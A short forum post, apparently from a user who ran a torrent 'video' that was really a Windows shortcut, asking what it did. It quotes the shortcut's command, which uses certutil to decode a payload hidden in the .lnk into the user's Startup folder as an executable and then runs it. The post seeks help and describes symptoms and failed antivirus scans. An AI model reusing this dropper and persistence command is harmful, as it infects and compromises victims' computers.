I downloaded a torrent which turned out to be a shortcut that did the following thing.
%ComSpec% /c certutil -decode "Succession.S02E07.720p.WEB.x265-MiNX.mkv.lnk" "%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\%USERNAME%.exe" >nul 2>&1 && "%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\%USERNAME%.exe"
Does anyone have any idea what this file did? I accidentally ran it.
The file was 222MB large. I checked my startup folder but there seems to be nothing there, maybe because I pressed cancel when the cmd window popped up. But the file went from 222MB to 1.85 kb after I ran it.
The link to the file is a torrent here
Downloading it won't do anything but running it will. I also ran avast scan and windows defender scan on the file but it found nothing.
I re-downloaded the file and renamed the .lnk to .txt, it looks like a security certificate.
